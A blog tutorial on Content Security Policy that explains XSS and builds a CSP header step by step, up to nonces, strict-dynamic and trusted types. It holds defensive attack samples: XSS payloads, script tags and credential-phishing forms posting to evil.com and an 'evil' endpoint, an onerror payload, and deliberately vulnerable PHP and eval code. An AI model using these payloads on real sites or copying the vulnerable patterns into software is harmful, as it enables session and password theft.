- Published on
Content Security Policy (CSP)
- Authors
- Name
- Teo Selenius
- Follow @TeoSelenius
Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!
What is Content Security Policy (CSP)?
Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.
What are XSS vulnerabilities?
XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:
- Generating HTML unsafely (parameterizing without encoding correctly).
- Allowing users to edit HTML directly (WYSIWYG editors, for example).
- Allowing users to upload HTML/SVG files and serving those back unsafely.
- Allowing users to set the HREF attributes of links.
- Using JavaScript unsafely (passing untrusted data into executable functions/properties).
- Using outdated and vulnerable JavaScript packages.
XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.
A simple example
Here is a PHP script that is vulnerable to XSS:
echo "<p>Search results for: " . $_GET('search') . "</p>"
It is vulnerable because it generates HTML unsafely. The search
parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:
https://www.example.com/?search=
<script>
alert('XSS')
</script>
Opening the link results in the following HTML getting rendered in the user's browser:
<p>
Search results for:
<script>
alert('XSS')
</script>
</p>
Why are XSS vulnerabilities so dangerous?
There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.
As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker or perhaps downloading and executing malware on the user's workstation.
And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).
How can CSP protect against XSS attacks?
CSP protects against XSS attacks quite effectively in the following ways.
1. Restricting Inline Scripts
By preventing the page from executing inline scripts, attacks like injecting
<script>
alert("XSS)
</script>
will not work.
2. Restricting Remote Scripts
By preventing the page from loading scripts from arbitrary servers, attacks like injecting
<script src="https://evil.com/hacked.js"></script>
will not work.
3. Restricting Unsafe Javascript
By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.
// A Simple Calculator
var op1 = getUrlParameter('op1')
var op2 = getUrlParameter('op2')
var sum = eval(`${op1} + ${op2}`)
console.log(`The sum is: ${sum}`)
4. Restricting Form submissions
By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username" />
<label>Password</label>
<input type="password" name="pass" />
<input type="Submit" value="Login" />
</form>
5. Restricting Objects
By restricting the HTML object tag, it also won't be possible for an attacker to inject <object>
tags (which can execute JavaScript code) on the page.
6. Restricting the base URI
And by restricting how <base>
tags can be inserted on the page, you will prevent attackers from changing the page's base URI, which could result in JavaScript getting loaded from the attacker's server.
How do I use it?
You can enforce a Content Security Policy on your website in two ways.
1. Content-Security-Policy Header
Send a Content-Security-Policy HTTP response header from your web server.
Content-Security-Policy: ...
Using a header is preferred and supports the complete CSP feature set. Send it in all HTTP responses, not just the index page.
2. Content-Security-Policy Meta Tag
Sometimes you cannot use the Content-Security-Policy header. One example is when you are deploying your HTML files in a CDN, and the headers are out of your control.
In this case, you can still use CSP by specifying a meta tag in the HTML markup.
<meta http-equiv="Content-Security-Policy" content="..." />
Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.
Building Your Policy
Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.
This is the HTML:
<html>
<head>
<title>CSP Practice</title>
<link rel="stylesheet" href="/stylesheets/style.css" />
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
</head>
<body>
<h1>CSP Practice</h1>
<script>
console.log("Inline script attack succeeded.");
</script>
<script src="https://www.appsecmonkey.com/evil.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>
<script
src="https://code.jquery.com/jquery-1.12.4.js">
</script>
<h3>Cat fact: <span id="cat-fact"></h3>
<script>
$( document ).ready(function() {
$.ajax({
url: "https://cat-fact.herokuapp.com/facts/random",
type: "GET",
crossDomain: true,
success: function (response) {
var catFact = response.text;
$('#cat-fact').text(catFact);
},
error: function (xhr, status) {
alert("error");
}
});
console.log(`Good script with jQuery succeeded`);
});
</script>
<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
<br/>
<form method="POST" action="https://www.appsecmonkey.com/evil">
<label>Session expired, enter password to continue.</label>
<br/>
<input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
<input type="submit" value="Submit"/>
</form>
</body>
</html>
And we also have app.js
, a miniature express application to set the Content-Security-Policy
header. Right now, it's sending an empty CSP, which does nothing.
var express = require('express')
var app = express()
const csp = ''
app.use(
express.static('public', {
setHeaders: function (res, path) {
res.set('Content-Security-Policy', csp)
},
})
)
var listener = app.listen(8080, function () {
console.log('Listening on port ' + listener.address().port)
})
If you look at the console, there are a couple of messages.
Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded
At this point, the CSP header is not doing anything, so everything, good and bad alike, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).
Great. Let's start adding security.
default-src
default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.
Start by setting default-src
to 'none'
. The single quotes are mandatory. If you just write none
without the single quotes, it would refer to a website with the URL none
, which is probably not what you want.
let defaultSrc = "default-src 'none'"
const csp = [defaultSrc].join(';')
Content-Security-Policy: default-src 'none'
Now restart the server (there is a racked server icon at the left which reveals the option). Everything is broken, as expected.
Open Chrome developer tools, and you will find that it's filled with CSP violation errors.
Note You might see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.
The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src
directive does not cover the form-action
directive. Let's fix that next.
form-action
form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.
let defaultSrc = "default-src 'none'"
let formAction = "form-action 'self'"
const csp = [defaultSrc, formAction].join(';')
Content-Security-Policy: default-src 'none';form-action 'self'
Refresh the page, and verify that it works by trying to submit the form.
❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".
Beautiful. Works as expected.
frame-ancestors
Let's add one more restriction before relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none'
.
let frameAncestors = "frame-ancestors 'none'"
const csp = [defaultSrc, formAction, frameAncestors].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none'
If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame. From here on, copy the URL of your sandbox website into another tab where you can see it.
Alright. Enough denying. Let's allow something next.
style-src
Looking at the console, the first violations are:
❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.
You can fix this with the style-src directive by allowing stylesheets to load from the same origin and from google fonts.
...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/
Refresh the page, and wow! Such style.
Let's move on to images.
img-src
Instead of the beautiful red dot, we have the following error:
❌ Refused to load the image 'data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback
We can fix our images with the img-src directive like so.
let imgSrc = 'img-src'
imgSrc += " 'self'"
imgSrc += ' data:'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:
We allow images from our own origin. We also allow data URLs because they are common with optimized websites.
Refresh the page and... Yes! The red dot in all its glory.
If you allow images from any URL, then it could be possible for an attacker to bypass your CSP with a dangling markup attack.
font-src
As for our fonts, we have the following error.
❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback
We can make it go away by adding the font-src directive like so:
let fontSrc = 'font-src'
fontSrc += ' https://fonts.gstatic.com/'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:;font-src https://fonts.gstatic.com/
script-src
Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.
Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
The second one is the attacker's sourced script. Let's keep blocking this one as well.
❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Then there is Google analytics which we want to allow.
We also want to allow jQuery.❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
And finally, we want to allow the script that fetches cat facts.❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).
let scriptSrc = 'script-src'
scriptSrc += " 'self'"
scriptSrc += ' https://www.google-analytics.com/analytics.js'
scriptSrc += ' https://code.jquery.com/jquery-1.12.4.js'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(';')
The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:
...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...
And move the contents of the script into javascripts/cat-facts.js
like so:
$(document).ready(function () {
$.ajax({
url: 'https://cat-fact.herokuapp.com/facts/random',
type: 'GET',
crossDomain: true,
success: function (response) {
var catFact = response.text
$('#cat-fact').text(catFact)
},
error: function (xhr, status) {
alert('error')
},
})
console.log(`Good script with jQuery succeeded`)
})
Now refresh, and... bummer. One more violation to deal with before we win!
connect-src
❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive...
The connect-src directive restricts where the website can connect to. Currently, it is preventing us from fetching cat facts. Let's fix it.
let connectSrc = 'connect-src'
connectSrc += ' https://cat-fact.herokuapp.com/facts/random'
const csp = [
defaultSrc,
formAction,
frameAncestors,
styleSrc,
imgSrc,
fontSrc,
scriptSrc,
connectSrc,
].join(';')
Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:
Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random
Let's plug it into Google's CSP evaluator and see how we did.
Pretty good. The yellow in the script-src
is because we used 'self' which can be problematic if you, e.g., host user-submitted content.
But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.
script-src: hashes
Suppose you can't get rid of inline JavaScript. As of Content Security Policy version 2, you can use script-src 'sha256-<hash>'
to allow scripts with a specific hash to execute. Browsers support nonces and hashes well; see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.
You can follow along by forking this CodeSandbox. It's the same situation as before, but we won't refactor the inline script into its own file this time. Instead, we'll add its hash to our policy.
You could get the SHA256 hash manually, but it's tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-...') is required to enable inline execution.
So let's just add that hash to our policy, and the page will work again.
...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...
We also have to add the unsafe-inline
for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.
Note Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render. This step should be automated in your build pipeline to make it work reliably.
script-src: nonce
The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.
Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:
const nonce = uuid.v4()
scriptSrc += ` 'nonce-${nonce}'`
You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:
<script nonce="<%= nonce %>">
$(document).ready(function () {
$.ajax({
url: "https://cat-fact.herokuapp.com/facts/random",
...
Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.
WARNING Don't create a middleware that replaces all script tags with "script nonce=..." because attacker-injected scripts will also get the nonces. You need an actual HTML templating engine to use nonces.
script-src: 'unsafe-eval'
If your own code or dependency on your page uses text-to-JavaScript functions like eval
, you might run into a warning like this.
❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".
If it's your own code, refactor it not to use eval
. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.
If not, you will have to add the unsafe-eval keyword to your script-src
. This is not the end of the world, but you will lose CSP's DOM-XSS protection.
scriptSrc += " 'unsafe-eval'" // cut my life into pieces this is my last resort
The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.
base-uri
Add the following to your CSP to prevent bypass with <base>
tags:
base-uri 'none'
object-src
Add the following to your CSP to prevent bypass with <object>
tags:
object-src 'none'
Report only mode
Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to the console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.
CSP Tool
Our CSP tool can be used to generate content security policy (CSPv2) headers quickly and painlessly. You can try it here.
CSP level 3
With the advent of CSP level 3 we got some cool features. Apple took its damn time to implement them in Safari, but finally, as of March 15. 2022, we can actually use them with a clear conscience! Before, we had to throw Safari users under the bus.
For an up-to-date status of CSP browser support, see this page.
strict-dynamic
Our example above was pretty simple, so we had no problem using a CSP level 2 policy with it. But with a big website, it can become a huge hassle resulting in a CSP that could fill a wall. Script X could load two more scripts, Y and Z, that can still load more scripts. And you will have to explicitly allow each script while trying to maintain a strict enough CSP to avoid bypass vulnerabilities. And the more scripts you have on your list, the more you have to pray for the scripts loaded by other scripts not to suddenly change and break your website. Intolerable.
Strict dynamic to the rescue! The strict-dynamic
keyword allows us to propagate trust to all scripts that are loaded by a script that we already trust with either hashes or nonces. Lovely.
Let's try it. The CodeSandbox here creates a CSP as follows:
let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
So we allow nothing except for scripts with a nonce. Our view looks like this:
<script nonce="<%= nonce %>" src="/test.js"></script>
And test.js
is a script that loads three more scripts:
function dynamicallyLoadScript(url) {
var script = document.createElement('script')
script.src = url
document.head.appendChild(script)
}
dynamicallyLoadScript('https://code.jquery.com/jquery-3.6.0.min.js')
dynamicallyLoadScript('https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css')
dynamicallyLoadScript('https://d3js.org/d3.v6.min.js')
If we open this page in Firefox, we get the following errors:
❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://code.jquery.com/jquery-3.6.0.min.js (“script-src”). test.js:5:16
❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css (“script-src”). test.js:5:16
❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://d3js.org/d3.v6.min.js (“script-src”). test.js:5:16
Now here is another CodeSandbox. This time we add one more thing to our script-src
like so:
let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += " 'strict-dynamic'" // Propagate trust to scripts loaded by already trusted scripts
Now if we load the page we can see that the errors are gone because 'strict-dynamic'
implies that the test.js
script which is already trusted by the nonce is allowed to propagate that trust to any scripts that it loads.
But what if we open this page in a browser that doesn't support strict-dynamic yet, such as Safari 15.3 or older?
❌ [Error] Refused to load https://code.jquery.com/jquery-3.6.0.min.js because it does not appear in the script-src directive of the Content Security Policy.
❌ [Error] Refused to load https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css because it does not appear in the script-src directive of the Content Security Policy.
❌ [Error] Refused to load https://d3js.org/d3.v6.min.js because it does not appear in the script-src directive of the Content Security Policy.
The scripts won't load because Safari 15.3 didn't support strict-dynamic
yet. So what we need to do is add a fallback for Safari users to allow scripts loaded over HTTPS from anywhere.
let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += ` https:`
scriptSrc += " 'strict-dynamic'"
Now that the latest Safari supports strict-dynamic, I wholeheartedly recommend that you use it, adding the https:
fallback for outdated browsers.
This CodeSandbox will be safe on all major browsers that are up to date, and it will also not break the website on outdated browsers either.
unsafe-hashes
The 'unsafe-hashes'
directive allows DOM event handlers to execute scripts that are whitelisted with hashes in script-src
.
For example, we could allow alert("hello")
via `script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk=' like so.
let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`
And now we could put this on the website and it would work:
<script>alert("hello")</script>
However, this wouldn't work on most browsers.
<button onClick='alert("hello")'>Hello</button>
Let's try it in Chrome:
❌ Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='".
Now let's add the 'unsafe-hashes'
option.
let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`
scriptSrc += ` 'unsafe-hashes'`
Now the script executes when the button is clicked. You can try it here or fork the CodeSandbox for playing around here
unsafe-hashes security considerations
The reason the directive is prefixed with unsafe-
is that it allows for an XSS attack to call any functions that have been whitelisted with a hash.
Let's say there is a UI that looks like this:
<h1>Account Settings</h1>
<button id="btnDeleteAccount" onClick="deleteAccount();">DELETE YOUR ACCOUNT</button>
And the developer has whitelisted deleteAccount()
with hash in script-src
:
scriptSrc += " 'sha256-nh5C95kYk07xMaWT0ZEbfCqzCKDC1cpLP0hF+hqkYN4='"
Now what the attacker can do is inject a XSS payload like so:
<img src="x" onerror="deleteAccount();" />
And the user's account would be deleted.
For this reason it's much better to remove such inline event handlers and attach the handlers in trusted JavaScript code like so:
document.getElementById('btnDeleteAccount').addEventListener('click', function () {
deleteAccount()
})
unsafe-hashes browser support
As you can see here, the browser support for unsafe-hashes
is still waiting for Firefox, so we cannot yet really rely on this feature. There is no sensible fallback option either.
script-src-elem & script-src-attr
As of CSP level 3 the script-src
directive has been split into two: script-src-elem
and script-src-attr
. This gives you more granular control, as now you can use the script-src-elem
to restrict script
tags and script-src-attr
to restrict inline event handlers.
These also are not supported by Firefox or Safari yet, although Safari has it in preview already.
trusted-types & require-trusted-types-for
Now, this is an interesting feature. Trusted types make it possible for you to allow injection sinks when the input is created in a specific way. What the hell are injection sinks? Bear with me. We'll walk through an example soon.
Injection sinks
Injection sinks refer to functions and properties that will directly result in JavaScript code execution when called with untrusted data. These include HTML injection sinks like element.innerHTML
that allow for an attacker to modify HTML directly, and DOM XSS injection sinks such as eval()
that allow for an attacker to execute arbitrary JavaScript code.
Trusted types
Trusted types is an API that allows applications to lock down powerful APIs to only accept non-spoofable, typed values in place of strings to prevent vulnerabilities caused by using these APIs with attacker-controlled inputs. It integrates with CSP in the form of the require-trusted-types-for
and trusted-types
directives.
Creating a policy
The require-trusted-types-for
directive tells browsers not to allow JavaScript code to use any function or property categorized as an injection sink unless the type of the input used to call the function or property is a trusted type.
here is an example with the following policy:
let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
Currently the only value you can give to require-trusted-types-for
is script
.
Then we have this HTML file loading a script:
<div id="htmlOutput"></div>
<script src="/test.js"></script>
And the contents of test.js
are as follows:
let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = payload
Now if we load the page in Firefox which doesn't support trusted types yet, the "attack" will succeed (because we specified unsafe-inline
). You can verify this by opening this page in Firefox and by clicking the "CLICK ME" text.
However if we load it in Google Chrome that does support trusted types, the require-trusted-types-for
kicks in and prevents the .innerHTML()
call.
❌ test.js:2 Uncaught TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
Now it's time for the magic. We will define a policy called my-policy
that we can use to create trusted types. First let's fix our CSP header to allow the policy. This is where the trusted-types
directive comes in.
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' my-policy'
The idea is that we only allow a policy called my-policy
and we define it in the JavaScript code before an attacker has the chance to run any exploits (the policy cannot be altered once it has been created).
Now let's open test.js
, define our policy and start using it!
// Define a sanitizer function
const mySanitize = (dirty) => dirty.replace(/</g, '<')
// Define the policy, name it my-policy and make it call the sanitizer function in createHTML
// We also check if window.trustedTypes is defined to avoid errors on e.g. Firefox or Safari
const myPolicy =
window.trustedTypes &&
window.trustedTypes.createPolicy('my-policy', {
createHTML(dirty) {
return mySanitize(dirty)
},
})
let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
if (myPolicy) {
// If trusted types supported, we call the policy's createHTML function to return a trusted type
payload = myPolicy.createHTML(payload)
} else {
// If not then we sanitize anyway calling the sanitizer directly
payload = mySanitize(payload)
}
document.getElementById('htmlOutput').innerHTML = payload
This simple policy HTML-encodes any <
characters, making XSS attacks a bit more difficult. It's not a very good policy but it suffices for our example.
Now the page will load on both Firefox and Chrome, through Chrome will enforce the trusted types and Firefox will not. You can try it here or fork the CodeSandbox here
A more useful policy
Instead of creating our own policy, we can use the one already created by the DOMPurify library.
Let's start by creating a CSP that allows loading the DOMPurify script, requires trusted types for scripts and allows the policy defined by DOMPurify.
let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
scriptSrc += ' https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js'
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' dompurify'
Then we'll load DOMPurify in your page:
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js"></script>
And finally we'll use DOMPurify to sanitize our payload before using it.
let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = DOMPurify.sanitize(payload, {
RETURN_TRUSTED_TYPE: true,
})
That's it! The h1
-tag will now display properly on both Firefox and Chrome, enforcing trusted types on Chrome, and sanitizing the HTML so that if you inspect the tag with developer tools, you will see that the onClick
handler has been removed by DOMPurify.
<h1>CLICK ME</h1>
You can try it here and fork the CodeSandbox here.
Trusted types browser support
As of this writing trusted types are not yet supported by Firefox or Safari. See here for up-to-date status.
Conclusion
The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.
It's always preferred to refactor your code to run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.
CSP level 3 has some pretty neat features but not all of them are yet very well supported by any other browser than Chrome and Edge, so use them carefully. Strict-dynamic luckily we can already use. Here is a generic, reasonably strict CSP based on strict-dynamic that should work for most applications. Note that unsafe-inline
is only as a fallback for ancient browsers and nothing to worry about as long as you have either nonces or hashes in play.
Content-Security-Policy:
default-src 'self';
frame-ancestors 'self';
form-action 'self';
object-src 'none';
script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
base-uri 'none';
report-uri https://cspreport.example.com/
Before deploying the enforcing policy to production, start with a report-only header to avoid unnecessary grief.